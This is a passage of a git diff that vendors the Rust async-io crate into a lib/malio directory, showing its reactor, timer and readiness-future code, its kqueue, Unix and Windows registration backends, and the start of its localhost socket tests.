TIMER_QUEUE_SIZE: usize = 1000; + +/// ESP-IDF - being an embedded OS - does not need so many timers +/// and this saves ~ 20K RAM which is a lot for an MCU with RAM < 400K +#[cfg(target_os = "espidf")] +const TIMER_QUEUE_SIZE: usize = 100; + +const READ: usize = 0; +const WRITE: usize = 1; + +/// The reactor. +/// +/// There is only one global instance of this type, accessible by [`Reactor::get()`]. +pub(crate) struct Reactor { + /// Portable bindings to epoll/kqueue/event ports/IOCP. + /// + /// This is where I/O is polled, producing I/O events. + pub(crate) poller: Poller, + + /// Ticker bumped before polling. + /// + /// This is useful for checking what is the current "round" of `ReactorLock::react()` when + /// synchronizing things in `Source::readable()` and `Source::writable()`. Both of those + /// methods must make sure they don't receive stale I/O events - they only accept events from a + /// fresh "round" of `ReactorLock::react()`. + ticker: AtomicUsize, + + /// Registered sources. + sources: Mutex>>, + + /// Temporary storage for I/O events when polling the reactor. + /// + /// Holding a lock on this event list implies the exclusive right to poll I/O. + events: Mutex, + + /// An ordered map of registered timers. + /// + /// Timers are in the order in which they fire. The `usize` in this type is a timer ID used to + /// distinguish timers that fire at the same time. The `Waker` represents the task awaiting the + /// timer. + timers: Mutex>, + + /// A queue of timer operations (insert and remove). + /// + /// When inserting or removing a timer, we don't process it immediately - we just push it into + /// this queue. Timers actually get processed when the queue fills up or the reactor is polled. + timer_ops: ConcurrentQueue, +} + +impl Reactor { + /// Returns a reference to the reactor. + pub(crate) fn get() -> &'static Reactor { + static REACTOR: OnceLock = OnceLock::new(); + + REACTOR.get_or_init(|| { + crate::driver::init(); + Reactor { + poller: Poller::new().expect("cannot initialize I/O event notification"), + ticker: AtomicUsize::new(0), + sources: Mutex::new(Slab::new()), + events: Mutex::new(Events::new()), + timers: Mutex::new(BTreeMap::new()), + timer_ops: ConcurrentQueue::bounded(TIMER_QUEUE_SIZE), + } + }) + } + + /// Returns the current ticker. + pub(crate) fn ticker(&self) -> usize { + self.ticker.load(Ordering::SeqCst) + } + + /// Registers an I/O source in the reactor. + pub(crate) fn insert_io(&self, raw: Registration) -> io::Result> { + // Create an I/O source for this file descriptor. + let source = { + let mut sources = self.sources.lock().unwrap(); + let key = sources.vacant_entry().key(); + let source = Arc::new(Source { + registration: raw, + key, + state: Default::default(), + }); + sources.insert(source.clone()); + source + }; + + // Register the file descriptor. + if let Err(err) = source.registration.add(&self.poller, source.key) { + let mut sources = self.sources.lock().unwrap(); + sources.remove(source.key); + return Err(err); + } + + Ok(source) + } + + /// Deregisters an I/O source from the reactor. + pub(crate) fn remove_io(&self, source: &Source) -> io::Result<()> { + let mut sources = self.sources.lock().unwrap(); + sources.remove(source.key); + source.registration.delete(&self.poller) + } + + /// Registers a timer in the reactor. + /// + /// Returns the inserted timer's ID. + pub(crate) fn insert_timer(&self, when: Instant, waker: &Waker) -> usize { + // Generate a new timer ID. + static ID_GENERATOR: AtomicUsize = AtomicUsize::new(1); + let id = ID_GENERATOR.fetch_add(1, Ordering::Relaxed); + + // Push an insert operation. + while self + .timer_ops + .push(TimerOp::Insert(when, id, waker.clone())) + .is_err() + { + // If the queue is full, drain it and try again. + let mut timers = self.timers.lock().unwrap(); + self.process_timer_ops(&mut timers); + } + + // Notify that a timer has been inserted. + self.notify(); + + id + } + + /// Deregisters a timer from the reactor. + pub(crate) fn remove_timer(&self, when: Instant, id: usize) { + // Push a remove operation. + while self.timer_ops.push(TimerOp::Remove(when, id)).is_err() { + // If the queue is full, drain it and try again. + let mut timers = self.timers.lock().unwrap(); + self.process_timer_ops(&mut timers); + } + } + + /// Notifies the thread blocked on the reactor. + pub(crate) fn notify(&self) { + self.poller.notify().expect("failed to notify reactor"); + } + + /// Locks the reactor, potentially blocking if the lock is held by another thread. + pub(crate) fn lock(&self) -> ReactorLock<'_> { + let reactor = self; + let events = self.events.lock().unwrap(); + ReactorLock { reactor, events } + } + + /// Attempts to lock the reactor. + pub(crate) fn try_lock(&self) -> Option> { + self.events.try_lock().ok().map(|events| { + let reactor = self; + ReactorLock { reactor, events } + }) + } + + /// Processes ready timers and extends the list of wakers to wake. + /// + /// Returns the duration until the next timer before this method was called. + fn process_timers(&self, wakers: &mut Vec) -> Option { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("process_timers"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut timers = self.timers.lock().unwrap(); + self.process_timer_ops(&mut timers); + + let now = Instant::now(); + + // Split timers into ready and pending timers. + // + // Careful to split just *after* `now`, so that a timer set for exactly `now` is considered + // ready. + let pending = timers.split_off(&(now + Duration::from_nanos(1), 0)); + let ready = mem::replace(&mut *timers, pending); + + // Calculate the duration until the next event. + let dur = if ready.is_empty() { + // Duration until the next timer. + timers + .keys() + .next() + .map(|(when, _)| when.saturating_duration_since(now)) + } else { + // Timers are about to fire right now. + Some(Duration::from_secs(0)) + }; + + // Drop the lock before waking. + drop(timers); + + // Add wakers to the list. + #[cfg(feature = "tracing")] + tracing::trace!("{} ready wakers", ready.len()); + + for (_, waker) in ready { + wakers.push(waker); + } + + dur + } + + /// Processes queued timer operations. + fn process_timer_ops(&self, timers: &mut MutexGuard<'_, BTreeMap<(Instant, usize), Waker>>) { + // Process only as much as fits into the queue, or else this loop could in theory run + // forever. + self.timer_ops + .try_iter() + .take(self.timer_ops.capacity().unwrap()) + .for_each(|op| match op { + TimerOp::Insert(when, id, waker) => { + timers.insert((when, id), waker); + } + TimerOp::Remove(when, id) => { + timers.remove(&(when, id)); + } + }); + } +} + +/// A lock on the reactor. +pub(crate) struct ReactorLock<'a> { + reactor: &'a Reactor, + events: MutexGuard<'a, Events>, +} + +impl ReactorLock<'_> { + /// Processes new events, blocking until the first event or the timeout. + pub(crate) fn react(&mut self, timeout: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("react"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut wakers = Vec::new(); + + // Process ready timers. + let next_timer = self.reactor.process_timers(&mut wakers); + + // compute the timeout for blocking on I/O events. + let timeout = match (next_timer, timeout) { + (None, None) => None, + (Some(t), None) | (None, Some(t)) => Some(t), + (Some(a), Some(b)) => Some(a.min(b)), + }; + + // Bump the ticker before polling I/O. + let tick = self + .reactor + .ticker + .fetch_add(1, Ordering::SeqCst) + .wrapping_add(1); + + self.events.clear(); + + // Block on I/O events. + let res = match self.reactor.poller.wait(&mut self.events, timeout) { + // No I/O events occurred. + Ok(0) => { + if timeout != Some(Duration::from_secs(0)) { + // The non-zero timeout was hit so fire ready timers. + self.reactor.process_timers(&mut wakers); + } + Ok(()) + } + + // At least one I/O event occurred. + Ok(_) => { + // Iterate over sources in the event list. + let sources = self.reactor.sources.lock().unwrap(); + + for ev in self.events.iter() { + // Check if there is a source in the table with this key. + if let Some(source) = sources.get(ev.key) { + let mut state = source.state.lock().unwrap(); + + // Collect wakers if any event was emitted. + for &(dir, emitted) in &[(WRITE, ev.writable), (READ, ev.readable)] { + if emitted { + state[dir].tick = tick; + state[dir].drain_into(&mut wakers); + } + } + + // Re-register if there are still writers or readers. This can happen if + // e.g. we were previously interested in both readability and writability, + // but only one of them was emitted. + if !state[READ].is_empty() || !state[WRITE].is_empty() { + // Create the event that we are interested in. + let event = { + let mut event = Event::none(source.key); + event.readable = !state[READ].is_empty(); + event.writable = !state[WRITE].is_empty(); + event + }; + + // Register interest in this event. + source.registration.modify(&self.reactor.poller, event)?; + } + } + } + + Ok(()) + } + + // The syscall was interrupted. + Err(err) if err.kind() == io::ErrorKind::Interrupted => Ok(()), + + // An actual error occureed. + Err(err) => Err(err), + }; + + // Wake up ready tasks. + #[cfg(feature = "tracing")] + tracing::trace!("{} ready wakers", wakers.len()); + for waker in wakers { + // Don't let a panicking waker blow everything up. + panic::catch_unwind(|| waker.wake()).ok(); + } + + res + } +} + +/// A single timer operation. +enum TimerOp { + Insert(Instant, usize, Waker), + Remove(Instant, usize), +} + +/// A registered source of I/O events. +#[derive(Debug)] +pub(crate) struct Source { + /// This source's registration into the reactor. + registration: Registration, + + /// The key of this source obtained during registration. + key: usize, + + /// Inner state with registered wakers. + state: Mutex<[Direction; 2]>, +} + +/// A read or write direction. +#[derive(Debug, Default)] +struct Direction { + /// Last reactor tick that delivered an event. + tick: usize, + + /// Ticks remembered by `Async::poll_readable()` or `Async::poll_writable()`. + ticks: Option<(usize, usize)>, + + /// Waker stored by `Async::poll_readable()` or `Async::poll_writable()`. + waker: Option, + + /// Wakers of tasks waiting for the next event. + /// + /// Registered by `Async::readable()` and `Async::writable()`. + wakers: Slab>, +} + +impl Direction { + /// Returns `true` if there are no wakers interested in this direction. + fn is_empty(&self) -> bool { + self.waker.is_none() && self.wakers.iter().all(|(_, opt)| opt.is_none()) + } + + /// Moves all wakers into a `Vec`. + fn drain_into(&mut self, dst: &mut Vec) { + if let Some(w) = self.waker.take() { + dst.push(w); + } + for (_, opt) in self.wakers.iter_mut() { + if let Some(w) = opt.take() { + dst.push(w); + } + } + } +} + +impl Source { + /// Polls the I/O source for readability. + pub(crate) fn poll_readable(&self, cx: &mut Context<'_>) -> Poll> { + self.poll_ready(READ, cx) + } + + /// Polls the I/O source for writability. + pub(crate) fn poll_writable(&self, cx: &mut Context<'_>) -> Poll> { + self.poll_ready(WRITE, cx) + } + + /// Registers a waker from `poll_readable()` or `poll_writable()`. + /// + /// If a different waker is already registered, it gets replaced and woken. + fn poll_ready(&self, dir: usize, cx: &mut Context<'_>) -> Poll> { + let mut state = self.state.lock().unwrap(); + + // Check if the reactor has delivered an event. + if let Some((a, b)) = state[dir].ticks { + // If `state[dir].tick` has changed to a value other than the old reactor tick, + // that means a newer reactor tick has delivered an event. + if state[dir].tick != a && state[dir].tick != b { + state[dir].ticks = None; + return Poll::Ready(Ok(())); + } + } + + let was_empty = state[dir].is_empty(); + + // Register the current task's waker. + if let Some(w) = state[dir].waker.take() { + if w.will_wake(cx.waker()) { + state[dir].waker = Some(w); + return Poll::Pending; + } + // Wake the previous waker because it's going to get replaced. + panic::catch_unwind(|| w.wake()).ok(); + } + state[dir].waker = Some(cx.waker().clone()); + state[dir].ticks = Some((Reactor::get().ticker(), state[dir].tick)); + + // Update interest in this I/O handle. + if was_empty { + // Create the event that we are interested in. + let event = { + let mut event = Event::none(self.key); + event.readable = !state[READ].is_empty(); + event.writable = !state[WRITE].is_empty(); + event + }; + + // Register interest in it. + self.registration.modify(&Reactor::get().poller, event)?; + } + + Poll::Pending + } + + /// Waits until the I/O source is readable. + pub(crate) fn readable(handle: &crate::Async) -> Readable<'_, T> { + Readable(Self::ready(handle, READ)) + } + + /// Waits until the I/O source is readable. + pub(crate) fn readable_owned(handle: Arc>) -> ReadableOwned { + ReadableOwned(Self::ready(handle, READ)) + } + + /// Waits until the I/O source is writable. + pub(crate) fn writable(handle: &crate::Async) -> Writable<'_, T> { + Writable(Self::ready(handle, WRITE)) + } + + /// Waits until the I/O source is writable. + pub(crate) fn writable_owned(handle: Arc>) -> WritableOwned { + WritableOwned(Self::ready(handle, WRITE)) + } + + /// Waits until the I/O source is readable or writable. + fn ready> + Clone, T>(handle: H, dir: usize) -> Ready { + Ready { + handle, + dir, + ticks: None, + index: None, + _capture: PhantomData, + } + } +} + +/// Future for [`Async::readable`](crate::Async::readable). +#[must_use = "futures do nothing unless you `.await` or poll them"] +pub struct Readable<'a, T>(Ready<&'a crate::Async, T>); + +impl Future for Readable<'_, T> { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + ready!(Pin::new(&mut self.0).poll(cx))?; + #[cfg(feature = "tracing")] + tracing::trace!(fd = ?self.0.handle.source.registration, "readable"); + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for Readable<'_, T> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Readable").finish() + } +} + +/// Future for [`Async::readable_owned`](crate::Async::readable_owned). +#[must_use = "futures do nothing unless you `.await` or poll them"] +pub struct ReadableOwned(Ready>, T>); + +impl Future for ReadableOwned { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + ready!(Pin::new(&mut self.0).poll(cx))?; + #[cfg(feature = "tracing")] + tracing::trace!(fd = ?self.0.handle.source.registration, "readable_owned"); + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for ReadableOwned { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("ReadableOwned").finish() + } +} + +/// Future for [`Async::writable`](crate::Async::writable). +#[must_use = "futures do nothing unless you `.await` or poll them"] +pub struct Writable<'a, T>(Ready<&'a crate::Async, T>); + +impl Future for Writable<'_, T> { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + ready!(Pin::new(&mut self.0).poll(cx))?; + #[cfg(feature = "tracing")] + tracing::trace!(fd = ?self.0.handle.source.registration, "writable"); + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for Writable<'_, T> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Writable").finish() + } +} + +/// Future for [`Async::writable_owned`](crate::Async::writable_owned). +#[must_use = "futures do nothing unless you `.await` or poll them"] +pub struct WritableOwned(Ready>, T>); + +impl Future for WritableOwned { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + ready!(Pin::new(&mut self.0).poll(cx))?; + #[cfg(feature = "tracing")] + tracing::trace!(fd = ?self.0.handle.source.registration, "writable_owned"); + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for WritableOwned { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("WritableOwned").finish() + } +} + +struct Ready>, T> { + handle: H, + dir: usize, + ticks: Option<(usize, usize)>, + index: Option, + _capture: PhantomData T>, +} + +impl>, T> Unpin for Ready {} + +impl> + Clone, T> Future for Ready { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let Self { + ref handle, + dir, + ticks, + index, + .. + } = &mut *self; + + let mut state = handle.borrow().source.state.lock().unwrap(); + + // Check if the reactor has delivered an event. + if let Some((a, b)) = *ticks { + // If `state[dir].tick` has changed to a value other than the old reactor tick, + // that means a newer reactor tick has delivered an event. + if state[*dir].tick != a && state[*dir].tick != b { + return Poll::Ready(Ok(())); + } + } + + let was_empty = state[*dir].is_empty(); + + // Register the current task's waker. + let i = match *index { + Some(i) => i, + None => { + let i = state[*dir].wakers.insert(None); + *index = Some(i); + *ticks = Some((Reactor::get().ticker(), state[*dir].tick)); + i + } + }; + state[*dir].wakers[i] = Some(cx.waker().clone()); + + // Update interest in this I/O handle. + if was_empty { + // Create the event that we are interested in. + let event = { + let mut event = Event::none(handle.borrow().source.key); + event.readable = !state[READ].is_empty(); + event.writable = !state[WRITE].is_empty(); + event + }; + + // Indicate that we are interested in this event. + handle + .borrow() + .source + .registration + .modify(&Reactor::get().poller, event)?; + } + + Poll::Pending + } +} + +impl>, T> Drop for Ready { + fn drop(&mut self) { + // Remove our waker when dropped. + if let Some(key) = self.index { + let mut state = self.handle.borrow().source.state.lock().unwrap(); + let wakers = &mut state[self.dir].wakers; + if wakers.contains(key) { + wakers.remove(key); + } + } + } +} diff --git a/lib/malio/async-io/src/reactor/kqueue.rs b/lib/malio/async-io/src/reactor/kqueue.rs new file mode 100644 index 0000000..2bfc14b --- /dev/null +++ b/lib/malio/async-io/src/reactor/kqueue.rs @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: MIT OR Apache-2.0 + +use crate::os::kqueue::Signal; + +use polling::os::kqueue::{PollerKqueueExt, Process, ProcessOps, Signal as PollSignal}; +use polling::{Event, PollMode, Poller}; + +use std::fmt; +use std::io::Result; +use std::num::NonZeroI32; +use std::os::unix::io::{AsRawFd, BorrowedFd, RawFd}; + +/// The raw registration into the reactor. +/// +/// This needs to be public, since it is technically exposed through the `QueueableSealed` trait. +#[doc(hidden)] +pub enum Registration { + /// Raw file descriptor for readability/writability. + /// + /// + /// # Invariant + /// + /// This describes a valid file descriptor that has not been `close`d. It will not be + /// closed while this object is alive. + Fd(RawFd), + + /// Raw signal number for signal delivery. + Signal(Signal), + + /// Pid for process termination. + Process(NonZeroI32), +} + +impl fmt::Debug for Registration { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Fd(raw) => fmt::Debug::fmt(raw, f), + Self::Signal(signal) => fmt::Debug::fmt(signal, f), + Self::Process(process) => fmt::Debug::fmt(process, f), + } + } +} + +impl Registration { + /// Add this file descriptor into the reactor. + /// + /// # Safety + /// + /// The provided file descriptor must be valid and not be closed while this object is alive. + pub(crate) unsafe fn new(f: BorrowedFd<'_>) -> Self { + Self::Fd(f.as_raw_fd()) + } + + /// Registers the object into the reactor. + #[inline] + pub(crate) fn add(&self, poller: &Poller, token: usize) -> Result<()> { + match self { + Self::Fd(raw) => { + // SAFETY: This object's existence validates the invariants of Poller::add + unsafe { poller.add(*raw, Event::none(token)) } + } + Self::Signal(signal) => { + poller.add_filter(PollSignal(signal.0), token, PollMode::Oneshot) + } + Self::Process(pid) => poller.add_filter( + unsafe { Process::from_pid(*pid, ProcessOps::Exit) }, + token, + PollMode::Oneshot, + ), + } + } + + /// Re-registers the object into the reactor. + #[inline] + pub(crate) fn modify(&self, poller: &Poller, interest: Event) -> Result<()> { + match self { + Self::Fd(raw) => { + // SAFETY: self.raw is a valid file descriptor + let fd = unsafe { BorrowedFd::borrow_raw(*raw) }; + poller.modify(fd, interest) + } + Self::Signal(signal) => { + poller.modify_filter(PollSignal(signal.0), interest.key, PollMode::Oneshot) + } + Self::Process(pid) => poller.modify_filter( + unsafe { Process::from_pid(*pid, ProcessOps::Exit) }, + interest.key, + PollMode::Oneshot, + ), + } + } + + /// Deregisters the object from the reactor. + #[inline] + pub(crate) fn delete(&self, poller: &Poller) -> Result<()> { + match self { + Self::Fd(raw) => { + // SAFETY: self.raw is a valid file descriptor + let fd = unsafe { BorrowedFd::borrow_raw(*raw) }; + poller.delete(fd) + } + Self::Signal(signal) => poller.delete_filter(PollSignal(signal.0)), + Self::Process(pid) => { + poller.delete_filter(unsafe { Process::from_pid(*pid, ProcessOps::Exit) }) + } + } + } +} diff --git a/lib/malio/async-io/src/reactor/unix.rs b/lib/malio/async-io/src/reactor/unix.rs new file mode 100644 index 0000000..6c9f1aa --- /dev/null +++ b/lib/malio/async-io/src/reactor/unix.rs @@ -0,0 +1,59 @@ +// SPDX-License-Identifier: MIT OR Apache-2.0 + +use polling::{Event, Poller}; + +use std::fmt; +use std::io::Result; +use std::os::unix::io::{AsRawFd, BorrowedFd, RawFd}; + +/// The raw registration into the reactor. +#[doc(hidden)] +pub struct Registration { + /// Raw file descriptor on Unix. + /// + /// # Invariant + /// + /// This describes a valid file descriptor that has not been `close`d. It will not be + /// closed while this object is alive. + raw: RawFd, +} + +impl fmt::Debug for Registration { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + fmt::Debug::fmt(&self.raw, f) + } +} + +impl Registration { + /// Add this file descriptor into the reactor. + /// + /// # Safety + /// + /// The provided file descriptor must be valid and not be closed while this object is alive. + pub(crate) unsafe fn new(f: BorrowedFd<'_>) -> Self { + Self { raw: f.as_raw_fd() } + } + + /// Registers the object into the reactor. + #[inline] + pub(crate) fn add(&self, poller: &Poller, token: usize) -> Result<()> { + // SAFETY: This object's existence validates the invariants of Poller::add + unsafe { poller.add(self.raw, Event::none(token)) } + } + + /// Re-registers the object into the reactor. + #[inline] + pub(crate) fn modify(&self, poller: &Poller, interest: Event) -> Result<()> { + // SAFETY: self.raw is a valid file descriptor + let fd = unsafe { BorrowedFd::borrow_raw(self.raw) }; + poller.modify(fd, interest) + } + + /// Deregisters the object from the reactor. + #[inline] + pub(crate) fn delete(&self, poller: &Poller) -> Result<()> { + // SAFETY: self.raw is a valid file descriptor + let fd = unsafe { BorrowedFd::borrow_raw(self.raw) }; + poller.delete(fd) + } +} diff --git a/lib/malio/async-io/src/reactor/windows.rs b/lib/malio/async-io/src/reactor/windows.rs new file mode 100644 index 0000000..75233c9 --- /dev/null +++ b/lib/malio/async-io/src/reactor/windows.rs @@ -0,0 +1,103 @@ +// SPDX-License-Identifier: MIT OR Apache-2.0 + +use polling::os::iocp::PollerIocpExt; +use polling::{Event, PollMode, Poller}; +use std::fmt; +use std::io::Result; +use std::os::windows::io::{ + AsRawHandle, AsRawSocket, BorrowedHandle, BorrowedSocket, RawHandle, RawSocket, +}; + +/// The raw registration into the reactor. +#[doc(hidden)] +pub enum Registration { + /// Raw socket handle on Windows. + /// + /// # Invariant + /// + /// This describes a valid socket that has not been `close`d. It will not be + /// closed while this object is alive. + Socket(RawSocket), + + /// Waitable handle for Windows. + /// + /// # Invariant + /// + /// This describes a valid waitable handle that has not been `close`d. It will not be + /// closed while this object is alive. + Handle(RawHandle), +} + +unsafe impl Send for Registration {} +unsafe impl Sync for Registration {} + +impl fmt::Debug for Registration { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Socket(raw) => fmt::Debug::fmt(raw, f), + Self::Handle(handle) => fmt::Debug::fmt(handle, f), + } + } +} + +impl Registration { + /// Add this file descriptor into the reactor. + /// + /// # Safety + /// + /// The provided file descriptor must be valid and not be closed while this object is alive. + pub(crate) unsafe fn new(f: BorrowedSocket<'_>) -> Self { + Self::Socket(f.as_raw_socket()) + } + + /// Create a new [`Registration`] around a waitable handle. + /// + /// # Safety + /// + /// The provided handle must be valid and not be closed while this object is alive. + pub(crate) unsafe fn new_waitable(f: BorrowedHandle<'_>) -> Self { + Self::Handle(f.as_raw_handle()) + } + + /// Registers the object into the reactor. + #[inline] + pub(crate) fn add(&self, poller: &Poller, token: usize) -> Result<()> { + // SAFETY: This object's existence validates the invariants of Poller::add + unsafe { + match self { + Self::Socket(raw) => poller.add(*raw, Event::none(token)), + Self::Handle(handle) => { + poller.add_waitable(*handle, Event::none(token), PollMode::Oneshot) + } + } + } + } + + /// Re-registers the object into the reactor. + #[inline] + pub(crate) fn modify(&self, poller: &Poller, interest: Event) -> Result<()> { + // SAFETY: self.raw is a valid file descriptor + match self { + Self::Socket(raw) => { + poller.modify(unsafe { BorrowedSocket::borrow_raw(*raw) }, interest) + } + Self::Handle(handle) => poller.modify_waitable( + unsafe { BorrowedHandle::borrow_raw(*handle) }, + interest, + PollMode::Oneshot, + ), + } + } + + /// Deregisters the object from the reactor. + #[inline] + pub(crate) fn delete(&self, poller: &Poller) -> Result<()> { + // SAFETY: self.raw is a valid file descriptor + match self { + Self::Socket(raw) => poller.delete(unsafe { BorrowedSocket::borrow_raw(*raw) }), + Self::Handle(handle) => { + poller.remove_waitable(unsafe { BorrowedHandle::borrow_raw(*handle) }) + } + } + } +} diff --git a/lib/malio/async-io/tests/async.rs b/lib/malio/async-io/tests/async.rs new file mode 100644 index 0000000..f425f04 --- /dev/null +++ b/lib/malio/async-io/tests/async.rs @@ -0,0 +1,440 @@ +use std::io; +use std::net::{Shutdown, TcpListener, TcpStream, UdpSocket}; +#[cfg(unix)] +use std::os::unix::net::{UnixDatagram, UnixListener, UnixStream}; +use std::sync::Arc; +use std::thread; +use std::time::Duration; + +use async_io::{Async, Timer}; +use futures_lite::{future, prelude::*}; +#[cfg(unix)] +use tempfile::tempdir; + +const LOREM_IPSUM: &[u8] = b" +Lorem ipsum dolor sit amet, consectetur adipiscing elit. +Donec pretium ante erat, vitae sodales mi varius quis. +Etiam vestibulum lorem vel urna tempor, eu fermentum odio aliquam. +Aliquam consequat urna vitae ipsum pulvinar, in blandit purus eleifend. +"; + +fn spawn( + f: impl Future + Send + 'static, +) -> impl Future + Send + 'static { + let (s, r) = async_channel::bounded(1); + + thread::spawn(move || { + future::block_on(async { + s.send(f.await).await.ok(); + }) + }); + + Box::pin(async move { r.recv().await.unwrap() }) +} + +#[test] +fn tcp_connect() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + let task = spawn(async move { listener.accept().await }); + + let stream2 = Async::::connect(addr).await?; + let stream1 = task.await?.0; + + assert_eq!( + stream1.get_ref().peer_addr()?, + stream2.get_ref().local_addr()?, + ); + assert_eq!( + stream2.get_ref().peer_addr()?, + stream1.get_ref().local_addr()?, + ); + + // Now that the listener is closed, connect should fail. + let err = Async::::connect(addr).await.unwrap_err(); + assert_eq!(err.kind(), io::ErrorKind::ConnectionRefused); + + Ok(()) + }) +} + +#[test] +fn tcp_peek_read() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + + let mut stream = Async::::connect(addr).await?; + stream.write_all(LOREM_IPSUM).await?; + + let mut buf = [0; 1024]; + let mut incoming = Box::pin(listener.incoming()); + let mut stream = incoming.next().await.unwrap()?; + + let n = stream.peek(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + let n = stream.read(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +#[test] +fn tcp_reader_hangup() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + let task = spawn(async move { listener.accept().await }); + + let mut stream2 = Async::::connect(addr).await?; + let stream1 = task.await?.0; + + let task = spawn(async move { + Timer::after(Duration::from_secs(1)).await; + drop(stream1); + }); + + while stream2.write_all(LOREM_IPSUM).await.is_ok() {} + task.await; + + Ok(()) + }) +} + +#[test] +fn tcp_writer_hangup() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + let task = spawn(async move { listener.accept().await }); + + let mut stream2 = Async::::connect(addr).await?; + let stream1 = task.await?.0; + + let task = spawn(async move { + Timer::after(Duration::from_secs(1)).await; + drop(stream1); + }); + + let mut v = vec![]; + stream2.read_to_end(&mut v).await?; + assert!(v.is_empty()); + + task.await; + Ok(()) + }) +} + +#[test] +fn udp_send_recv() -> io::Result<()> { + future::block_on(async { + let socket1 = Async::::bind(([127, 0, 0, 1], 0))?; + let socket2 = Async::::bind(([127, 0, 0, 1], 0))?; + socket1.get_ref().connect(socket2.get_ref().local_addr()?)?; + + let mut buf = [0u8; 1024]; + + socket1.send(LOREM_IPSUM).await?; + let n = socket2.peek(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + let n = socket2.recv(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + + socket2 + .send_to(LOREM_IPSUM, socket1.get_ref().local_addr()?) + .await?; + let n = socket1.peek_from(&mut buf).await?.0; + assert_eq!(&buf[..n], LOREM_IPSUM); + let n = socket1.recv_from(&mut buf).await?.0; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn udp_connect() -> io::Result<()> { + future::block_on(async { + let dir = tempdir()?; + let path = dir.path().join("socket"); + + let listener = Async::::bind(&path)?; + + let mut stream = Async::::connect(&path).await?; + stream.write_all(LOREM_IPSUM).await?; + + let mut buf = [0; 1024]; + let mut incoming = Box::pin(listener.incoming()); + let mut stream = incoming.next().await.unwrap()?; + + let n = stream.read(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +// This test is broken for now on OpenBSD: https://github.com/rust-lang/rust/issues/116523 +#[cfg(all(unix, not(target_os = "openbsd")))] +#[test] +fn uds_connect() -> io::Result<()> { + future::block_on(async { + let dir = tempdir()?; + let path = dir.path().join("socket"); + let listener = Async::::bind(&path)?; + + let addr = listener.get_ref().local_addr()?; + let task = spawn(async move { listener.accept().await }); + + let stream2 = Async::::connect(addr.as_pathname().unwrap()).await?; + let stream1 = task.await?.0; + + assert_eq!( + stream1.get_ref().peer_addr()?.as_pathname(), + stream2.get_ref().local_addr()?.as_pathname(), + ); + assert_eq!( + stream2.get_ref().peer_addr()?.as_pathname(), + stream1.get_ref().local_addr()?.as_pathname(), + ); + + // Now that the listener is closed, connect should fail. + let err = Async::::connect(addr.as_pathname().unwrap()) + .await + .unwrap_err(); + assert_eq!(err.kind(), io::ErrorKind::ConnectionRefused); + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn uds_send_recv() -> io::Result<()> { + future::block_on(async { + let (socket1, socket2) = Async::::pair()?; + + socket1.send(LOREM_IPSUM).await?; + let mut buf = [0; 1024]; + let n = socket2.recv(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn uds_send_to_recv_from() -> io::Result<()> { + future::block_on(async { + let dir = tempdir()?; + let path = dir.path().join("socket"); + let socket1 = Async::::bind(&path)?; + let socket2 = Async::::unbound()?; + + socket2.send_to(LOREM_IPSUM, &path).await?; + let mut buf = [0; 1024]; + let n = socket1.recv_from(&mut buf).await?.0; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn uds_reader_hangup() -> io::Result<()> { + future::block_on(async { + let (socket1, mut socket2) = Async::::pair()?; + + let task = spawn(async move { + Timer::after(Duration::from_secs(1)).await; + drop(socket1); + }); + + while socket2.write_all(LOREM_IPSUM).await.is_ok() {} + task.await; + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn uds_writer_hangup() -> io::Result<()> { + future::block_on(async { + let (socket1, mut socket2) = Async::::pair()?; + + let task = spawn(async move { + Timer::after(Duration::from_secs(1)).await; + drop(socket1); + }); + + let mut v = vec![]; + 